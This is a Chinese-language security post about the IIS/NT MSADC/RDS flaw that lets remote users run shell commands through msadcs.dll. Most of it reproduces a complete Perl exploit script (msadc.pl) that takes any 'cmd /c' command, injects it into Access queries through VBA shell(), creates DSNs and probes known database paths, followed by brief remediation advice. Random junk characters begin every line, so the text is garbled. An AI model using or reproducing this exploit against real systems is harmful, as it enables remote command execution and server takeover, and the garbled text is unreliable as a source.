IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Vd>.fb\U 2 7b%Cl
涉及程序：
K2 K 6 Microsoft NT server
4_0/]:~5 Ns= b&Uyc 描述：
}w^ T9OC 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ZBq*<VtV s1$#G !' 详细：
Cj9O [ 如果你没有时间读详细内容的话，就删除:
LtWU"42 c:\Program Files\Common Files\System\Msadc\msadcs.dll
< $2zr4 有关的安全问题就没有了。
^o \p|f>f 9v,8OK) 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
m`q> _* w*P4_=
:%Y 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
yBh"qnOT 关于利用ODBC远程漏洞的描述，请参看:
sq|@9GS0T =\7p0cq&* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }JMkM9] pyJOEL]1F 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
`+;oo B http://www.microsoft.com/security/bulletins/MS99-025faq.asp zP'pfBgbJW >$52B9ie 这里不再论述。
LVl0:!>~ w} q@VVB% 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
>683 4e 4l UE(#kUM /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Zw \V}uXI? 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
J}KktD@!O 8"UG&wLT IX?%H!i #将下面这段保存为txt文件，然后: "perl -x 文件名"
+p<R'/ = >%%]0 #!perl
5(`GF| #
-gGK(PIf # MSADC/RDS 'usage' (aka exploit) script
!T Z/PqcE #
CyDf[C)= # by rain.forest.puppy
lfeWtzOf #
[E1|jcmQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
o"M^ sKz47 # beta test and find errors!
:I(gz~u6 2Lgvy/uN use Socket; use Getopt::Std;
n< &R"89 getopts("e:vd:h:XR", \%args);
&+^ Y>Ke (w
B[ ]O$@ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^uEl QI |L{dQ)-'l if (!defined $args{h} && !defined $args{R}) {
=e{KtX. print qq~
;]x5;b9` Usage: msadc.pl -h <host> { -d <delay> -X -v }
6YGr"Kj & -h <host> = host you want to scan (ip or domain)
gF5EtdN?| -d <seconds> = delay between calls, default 1 second
5mVu]T` -X = dump Index Server path table, if available
!sQ8,l0h -v = verbose
EZ RZ)h -e = external dictionary file for step 5
K -1~K \ySc uT Or a -R will resume a command session
n(S-F g d'fpaLV ~; exit;}
Q9zpX{JT %,D%Q~ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
H,` XCG if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k T>}(G|| if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
F|{?GV%hF if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
XPTB,1g+f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1A.\Ao if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
B4O a7$M/U =@XR$Uud6 if (!defined $args{R}){ $ret = &has_msadc;
5D*V%v die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
EQO7 :vb ^BTNx2VHf print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1M+!cX . "cmd /c ";
(1]@ fCd + $in=<STDIN>; chomp $in;
V SFl9/5? $command="cmd /c " . $in ;
{_}"USS --)[>6)I if (defined $args{R}) {&load; exit;}
8}T3Fig,q bkI A:2HX print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
EA#!h'-s &try_btcustmr;
L-gF$it\*b (oEA)yc| print "\nStep 2: Trying to make our own DSN...";
(9|K}IM: &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^IkMRlJh% S @($c' print "\nStep 3: Trying known DSNs...";
yo6IY &known_dsn;
?=rh= # Av]N.HB$ print "\nStep 4: Trying known .mdbs...";
7z&u92dJI &known_mdb;
i mQNfNm 2Jv4l$$;* if (defined $args{e}){
z#
B) b 5 print "\nStep 5: Trying dictionary of DSN names...";
1bs95Fh9Q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
iO`f{?b Lr&BZM print "Sorry Charley...maybe next time?\n";
}C#d;JC exit;
dUSuhT 5L#M7E ##############################################################################
U6PUt'Kk@ '|R|7nQAj sub sendraw { # ripped and modded from whisker
S3cQC`^ sleep($delay); # it's a DoS on the server! At least on mine...
~zRd||qv my ($pstr)=@_;
I =pd j D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8!Kfe die("Socket problems\n");
N6'Y
N10 if(connect(S,pack "SnA4x8",2,80,$target)){
uGWk(qn select(S); $|=1;
0X w?} print $pstr; my @in=<S>;
W# \4"'=I select(STDOUT); close(S);
3I(H.u return @in;
Kn |dnq|G } else { die("Can't connect...\n"); }}
]F! h~> A???s,F_ ##############################################################################
6j#5Ag: I9 m sub make_header { # make the HTTP request
q1Mk_(4oJ my $msadc=<<EOT
30"G%DF d POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
+ P.Ir User-Agent: ACTIVEDATA
`#F>?g$ 2 Host: $ip
uESHTX/[ Content-Length: $clen
b\mN^P~>A Connection: Keep-Alive
|lY8u~% pUx@ QyrI ADCClientVersion:01.06
AWcP OU Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
F$C:4c C%"@|01cO --!ADM!ROX!YOUR!WORLD!
u Rg^ : Content-Type: application/x-varg
nr;/:[F Content-Length: $reqlen
8nM]G4H.f ?'r[P03 EOT
u5[Wr : ; $msadc=~s/\n/\r\n/g;
ERplDSfO- return $msadc;}
\W!<xE -xlI'gNg7 ##############################################################################
9'M({/7y qm@hD>W+ sub make_req { # make the RDS request
b-XBs7OAx my ($switch, $p1, $p2)=@_;
FliN@RNo my $req=""; my $t1, $t2, $query, $dsn;
bfgLU.1I 9UX-)! if ($switch==1){ # this is the btcustmr.mdb query
5E}i<}sq5 $query="Select * from Customers where City=" . make_shell();
5/<Y,eZ/ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
0)#I5tEre $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
`SWK(=' ^+&}:9Ml elsif ($switch==2){ # this is general make table query
FMiYZ1^r $query="create table AZZ (B int, C varchar(10))";
FS [CUoA $dsn="$p1";}
kJ
>B ) Y&?]t elsif ($switch==3){ # this is general exploit table query
xi0&"?7la $query="select * from AZZ where C=" . make_shell();
z`CI gSR $dsn="$p1";}
j43HS Y7@ xhv)rhu@ elsif ($switch==4){ # attempt to hork file info from index server
~mU#u\r(* $query="select path from scope()";
= n!8>8d $dsn="Provider=MSIDXS;";}
h 9/68Gc?6 iC">F.9# elsif ($switch==5){ # bad query
6|9fcIh]B $query="select";
;(A'XA4
6N $dsn="$p1";}
qabM@+ m[ eZHi6v)i $t1= make_unicode($query);
<JlKtR&nSo $t2= make_unicode($dsn);
fO+;%B $req = "\x02\x00\x03\x00";
va)\uXW.N $req.= "\x08\x00" . pack ("S1", length($t1));
~2H)#`\ac8 $req.= "\x00\x00" . $t1 ;
Cv3H%g+as $req.= "\x08\x00" . pack ("S1", length($t2));
SU^/qF%8 $req.= "\x00\x00" . $t2 ;
&E~7ty' $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
m-K6y7t return $req;}
_IGQ<U <z mtp[] ##############################################################################
;a|A1DmZ 6K &V} sub make_shell { # this makes the shell() statement
3e"G.0vJ return "'|shell(\"$command\")|'";}
5m/r,d^H iJAW| dw} ##############################################################################
#"jWPe ,d Q"\[ICu!, sub make_unicode { # quick little function to convert to unicode
,}<v: ! my ($in)=@_; my $out;
;tj_vmZ@R for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
" d t3peH return $out;}
F!U+IztZ cCwT0O#d ##############################################################################
w% M 0Mu ? mMd6U& J sub rdo_success { # checks for RDO return success (this is kludge)
7be?=c)+" my (@in) = @_; my $base=content_start(@in);
8d]=
+n ! if($in[$base]=~/multipart\/mixed/){
SU:Cm: $ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
.w`8_v &Y return 0;}
W Z ZD 2>mDT ##############################################################################
=
hpX2/] v/)dsSNZ0u sub make_dsn { # this makes a DSN for us
){/y -ixH my @drives=("c","d","e","f");
WW&0FugY_ print "\nMaking DSN: ";
b'G4K NW foreach $drive (@drives) {
6SpkeXL print "$drive: ";
5s0H4 ?S my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
X"R;/tZ S4 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3Vhm$y%Td . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
=|6IyL_N $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
2'++G[z return 0 if $2 eq "404"; # not found/doesn't exist
"<kmiK/ if($2 eq "200") {
*`\>J.
foreach $line (@results) {
, 30&VW## return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
bte e;3` } return 0;}
.DT1Jvl PR Y)hb;1 ##############################################################################
|_-FQ~Hf F 5d hRuc sub verify_exists {
F3?v& my ($page)=@_;
V&gUxS]* my @results=sendraw("GET $page HTTP/1.0\n\n");
:Y "f .> return $results[0];}
&9'6hMu t &*$@0A ##############################################################################
4bmpMF- =U?"# sub try_btcustmr {
K,J:i^2 my @drives=("c","d","e","f");
~;{)S}U@R my @dirs=("winnt","winnt35","winnt351","win","windows");
B1Xn <Wv C! :\H<gI foreach $dir (@dirs) {
>2_J(vm> print "$dir -> "; # fun status so you can see progress
RS$e^_ W foreach $drive (@drives) {
KktQA*G print "$drive: "; # ditto
H4)){ \ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
"g0L n5& $reqlenlen=length( "$reqlen" );
f9!wO';P6 $clen= 206 + $reqlenlen + $reqlen;
~6R|
a m]V5 }-?al my @results=sendraw(make_header() . make_req(1,$drive,$dir));
!Y5O3^I=u if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
m'Wz0b^BO else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
I 'C{=? ybfNG@N* ##############################################################################
&K}!R$[,:P 2mI=V.X[& sub odbc_error {
ms<?BgCSz my (@in)=@_; my $base;
, ! c . my $base = content_start(@in);
8K{
TRPy if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
'9-8_; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.F9> |Xx[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D\>C E Bt $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Wh "o L;O return $in[$base+4].$in[$base+5].$in[$base+6];}
!\CoJ.5= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
s fazrz`h print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
m7fmQUk $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
53#7Yy P#6y ##############################################################################
0F)Y[{h< qbmy~\ZY sub verbose {
;g*ab my ($in)=@_;
S. BM/M return if !$verbose;
1S <V,9( print STDOUT "\n$in\n";}
fH>]>2fS jg#%h` ##############################################################################
lQldW|S> $ TWt[ sub save {
:FB#,AOa_ my ($p1, $p2, $p3, $p4)=@_;
&p0*:(j open(OUT, ">rds.save") || print "Problem saving parameters...\n";
10{ZW@!7 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
+:;r} 7Zh close OUT;}
_a^%V9t y$7<ZBG ##############################################################################
9)'L,Xt4:T m8fxDepFA sub load {
UV$v: >K# my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
lQY?!oj&q open(IN,"<rds.save") || die("Couldn't open rds.save\n");
5nQ*%u\$Z @p=<IN>; close(IN);
@M S;qoc $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
V`=#j[gX)= $target= inet_aton($ip) || die("inet_aton problems");
h]&8hl_'m print "Resuming to $ip ...";
xn} sh[<:P $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Av]<[ F/ if($p[1]==1) {
0 @~[SXR $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
* 3WK`9q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
YeK PoW my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
nxw]B"Eg if (rdo_success(@results)){print "Success!\n";}
Z25^+)uf*U else { print "failed\n"; verbose(odbc_error(@results));}}
pS;jrq
I# elsif ($p[1]==3){
j-ZKEA{:1 if(run_query("$p[3]")){
I HgYgn print "Success!\n";} else { print "failed\n"; }}
5Jlz$]f elsif ($p[1]==4){
UJ<eF/KSmG if(run_query($drvst . "$p[3]")){
~Qeyh^wo print "Success!\n"; } else { print "failed\n"; }}
kT t;3 I a exit;}
~bhesWk8! XTyJ*`> ##############################################################################
}hv>L L 22)2o lU sub create_table {
7FMO' 'x my ($in)=@_;
q0,Diouq $reqlen=length( make_req(2,$in,"") ) - 28;
7'k+ /rAO $reqlenlen=length( "$reqlen" );
(%D*S_m' $clen= 206 + $reqlenlen + $reqlen;
7g[T#B'/x, my @results=sendraw(make_header() . make_req(2,$in,""));
F_$eu-y return 1 if rdo_success(@results);
MPhO #;v my $temp= odbc_error(@results); verbose($temp);
dU yit- return 1 if $temp=~/Table 'AZZ' already exists/;
y4^6I$M7V return 0;}
!inonR :Em[> XA ##############################################################################
[R TB|0Q AtGk
_tpVZ sub known_dsn {
J L=MlZ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
3~iIo&NZ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
|9$K'+' "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
t
5g@t0$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
wK!4:]rhG 18jI6$DY foreach $dSn (@dsns) {
7;ZSeQ yC print ".";
+pURF&Pr next if (!is_access("DSN=$dSn"));
3@f@4t@5V if(create_table("DSN=$dSn")){
m_wBRan print "$dSn successful\n";
dq? {?~3 if(run_query("DSN=$dSn")){
?kMG!stgp} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;9MsV. n print "Something's borked. Use verbose next time\n";}}} print "\n";}
Pfj{TT.#L ~ &8ag` ##############################################################################
M#c.(Q dF -}_- #L!Q sub is_access {
-SnP+X! my ($in)=@_;
n.Iu|,?q $reqlen=length( make_req(5,$in,"") ) - 28;
icLf; @ $reqlenlen=length( "$reqlen" );
c;C :$B7 $clen= 206 + $reqlenlen + $reqlen;
)/A If H my @results=sendraw(make_header() . make_req(5,$in,""));
|#fqHON my $temp= odbc_error(@results);
3R> U^
Y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}D-h=,]; return 0;}
pHSq,XP- ()i8 Qepo} ##############################################################################
;"l>HL:^ t&MJSFkiA sub run_query {
j r29+> my ($in)=@_;
/"Ws3.p $reqlen=length( make_req(3,$in,"") ) - 28;
q^ lx03 $reqlenlen=length( "$reqlen" );
#0V$KC*> $clen= 206 + $reqlenlen + $reqlen;
o*& D; my @results=sendraw(make_header() . make_req(3,$in,""));
^kA^> vi return 1 if rdo_success(@results);
1'@/ jR my $temp= odbc_error(@results); verbose($temp);
tEh YQZ return 0;}
ppH5>Y
6c ?~s,O$o ##############################################################################
xcz[w}{eEq , g\%P5 sub known_mdb {
D^V0kC p!F my @drives=("c","d","e","f","g");
_7Z|=) my @dirs=("winnt","winnt35","winnt351","win","windows");
AC :cV=' my $dir, $drive, $mdb;
!l-^JPb my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]"Z*Hq
z +MU|XT_5|6 # this is sparse, because I don't know of many
_PUgK\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
P0WI QG+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
]Ng K(I U "\\system32\\certmdb.mdb",
g(){wC I "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
|d =1|C %, o\6A]T=R my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
f.SV-{O_ "\\cfusion\\cfapps\\forums\\forums_.mdb",
x@/ N9* "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
f Glvx ~ "\\cfusion\\cfapps\\security\\realm_.mdb",
Gu?O yL "\\cfusion\\cfapps\\security\\data\\realm.mdb",
%GG:F^X# "\\cfusion\\database\\cfexamples.mdb",
t '
_Au8 "\\cfusion\\database\\cfsnippets.mdb",
p w(eWP "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
r6k0=6i "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
HF>Gf2- C "\\cfusion\\brighttiger\\database\\cleam.mdb",
=>Ss:SGjT "\\cfusion\\database\\smpolicy.mdb",
Jv(9w[ "\\cfusion\\database\cypress.mdb",
H=b54.J8& "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
e }>8rnR{ "\\website\\cgi-win\\dbsample.mdb",
[ aC7 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
8G@I e "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
?\[2Po]n ); #these are just
R+,eX jz" foreach $drive (@drives) {
m:U.ao6 foreach $dir (@dirs){
gw[\7 foreach $mdb (@sysmdbs) {
`@?f@p$(B print ".";
<,/k"Y= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9ReH@5_bGM print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Sz4G,c if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
rS1mBrqD print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
T*YbmI]4 } else { print "Something's borked. Use verbose next time\n"; }}}}}
c 4Q{ < 5rs~ foreach $drive (@drives) {
#m
yiZL % foreach $mdb (@mdbs) {
&s m7R i print ".";
HRP4"#9R if(create_table($drv . $drive . $dir . $mdb)){
]r++YIg!j print "\n" . $drive . $dir . $mdb . " successful\n";
4JF)w; X} if(run_query($drv . $drive . $dir . $mdb)){
v[4A_WjT print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
$ qOV#,@ } else { print "Something's borked. Use verbose next time\n"; }}}}
IoUQ~JviA }
6b& <5,=d: wX dt Y ##############################################################################
Hjl{M >z a|aRUxa0" sub hork_idx {
H{}0- 0o print "\nAttempting to dump Index Server tables...\n";
f`Km ctI print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
f44b=,Lry5 $reqlen=length( make_req(4,"","") ) - 28;
iEd%8 F h $reqlenlen=length( "$reqlen" );
Y JzKE7%CO $clen= 206 + $reqlenlen + $reqlen;
M-> /vi my @results=sendraw2(make_header() . make_req(4,"",""));
={_.} if (rdo_success(@results)){
s>y=-7:N my $max=@results; my $c; my %d;
AL*P 2 \8 for($c=19; $c<$max; $c++){
%J)n#\ $results[$c]=~s/\x00//g;
d#~^)r $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Oa7x(wS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Ut"~I)S{LT $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
- ) $d{"$1$2"}="";}
CZE!rpl foreach $c (keys %d){ print "$c\n"; }
v,6 } else {print "Index server doesn't seem to be installed.\n"; }}
0V{a{>+ +bC-_xGuh ##############################################################################
S<),
,( FtBYPSGz sub dsn_dict {
g -B~" tp open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Ph[P$: 9 while(<IN>){
Cm)_xnv $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
fa#xEWaFr next if (!is_access("DSN=$dSn"));
b(@[Y(_R if(create_table("DSN=$dSn")){
F!v`. _] print "$dSn successful\n";
oq00)I1 if(run_query("DSN=$dSn")){
"$)Nd+ny print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
QEd>T"@g print "Something's borked. Use verbose next time\n";}}}
%4X#|22n print "\n"; close(IN);}
'EF\=o)^Y N 6CWEIJ ##############################################################################
M D ETAd f n]rMH4> sub sendraw2 { # ripped and modded from whisker
-9 Iz$ (>a sleep($delay); # it's a DoS on the server! At least on mine...
;qM
I3 wF my ($pstr)=@_;
w7n6@"q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
M9mC\Iz[ die("Socket problems\n");
M7D@Uj&xx( if(connect(S,pack "SnA4x8",2,80,$target)){
9OIX5$,S; print "Connected. Getting data";
&S\q*H=}i open(OUT,">raw.out"); my @in;
@WcK<Qho select(S); $|=1; print $pstr;
(W*~3/@D while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
{\tHS+] close(OUT); select(STDOUT); close(S); return @in;
"6.J pUf } else { die("Can't connect...\n"); }}
P bR6>' _Ju@<V$ ##############################################################################
2^-Z17Z} @S#>:o| sub content_start { # this will take in the server headers
}jj @A !N my (@in)=@_; my $c;
S@Rw+#QE for ($c=1;$c<500;$c++) {
-w8c;5X if($in[$c] =~/^\x0d\x0a/){
8Lm }x_
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8
1Ar.< else { return $c+1; }}}
AGwFD return -1;} # it should never get here actually
lZyxJDZ A t- Rp_2t ##############################################################################
?Bg <74 ` oBlv sub funky {
"S$4pj`< my (@in)=@_; my $error=odbc_error(@in);
?QzA;8 H if($error=~/ADO could not find the specified provider/){
Z#8O)GK print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Y yI4T/0s_ exit;}
b"`Vn, if($error=~/A Handler is required/){
:mwNkT2et print "\nServer has custom handler filters (they most likely are patched)\n";
qw]:oh&G exit;}
,~ ;_ - if($error=~/specified Handler has denied Access/){
P38D-fLq print "\nServer has custom handler filters (they most likely are patched)\n";
JE~ci#|! exit;}}
?NazfK )ZkQWiP- ##############################################################################
[" '0vQ M ,0@@: sub has_msadc {
$@8$_g|Wz my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ift @/A my $base=content_start(@results);
YXD6GJWo return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3$YgGum return 0;}
caA>; +aBH tx-HY<
########################
SoS GQ& k $6p_`LD0 n0o' ns 解决方案：
\k6Ho?PL 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
+.i?UHNB 2、移除web 目录: /msadc
